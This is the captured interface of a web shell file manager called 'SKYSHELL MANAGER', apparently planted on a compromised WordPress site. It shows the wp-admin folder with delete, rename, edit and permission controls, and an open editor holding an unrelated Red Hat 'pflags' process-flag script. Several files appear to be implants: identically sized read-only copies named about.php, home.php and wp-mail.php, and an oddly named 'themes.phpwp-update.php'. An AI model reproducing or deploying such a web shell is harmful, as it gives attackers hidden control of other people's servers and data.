📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: pflags
#! /usr/bin/python # -*- python -*- # -*- coding: utf-8 -*- # print process flags # Copyright (C) 2015 Red Hat Inc. # Arnaldo Carvalho de Melo <acme@redhat.com> # # This application is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2. # # This application is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. import procfs, re, fnmatch, sys import argparse ps = None def thread_mapper(s): global ps try: return [ int(s), ] except: pass try: return ps.find_by_regex(re.compile(fnmatch.translate(s))) except: return ps.find_by_name(s) def main(argv): global ps ps = procfs.pidstats() parser = argparse.ArgumentParser(description='Print process flags') parser.add_argument('pid', nargs='*', help='a list of pids or names') args = parser.parse_args() if (len(argv) > 1): pids = args.pid pids = reduce(lambda i, j: i + j, list(map(thread_mapper, pids))) else: pids = ps.processes.keys() pids.sort() len_comms = [len(ps[pid]["stat"]["comm"]) for pid in pids if pid in ps] if len_comms: max_comm_len = max(len_comms) del(len_comms) for pid in pids: if pid not in ps: continue flags = ps[pid].stat.process_flags() # Remove flags that were superseeded if "PF_THREAD_BOUND" in flags and "PF_NO_SETAFFINITY" in flags: flags.remove("PF_THREAD_BOUND") if "PF_FLUSHER" in flags and "PF_NPROC_EXCEEDED" in flags: flags.remove("PF_FLUSHER") if "PF_SWAPOFF" in flags and "PF_MEMALLOC_NOIO" in flags: flags.remove("PF_SWAPOFF") if "PF_FREEZER_NOSIG" in flags and "PF_SUSPEND_TASK" in flags: flags.remove("PF_FREEZER_NOSIG") comm = ps[pid].stat["comm"] flags.sort() sflags = reduce(lambda i, j: "%s|%s" % (i, j), map(lambda a: a[3:],flags)) print "%6d %*s %s" %(pid, max_comm_len, comm, sflags) if __name__ == '__main__': main(sys.argv)
Save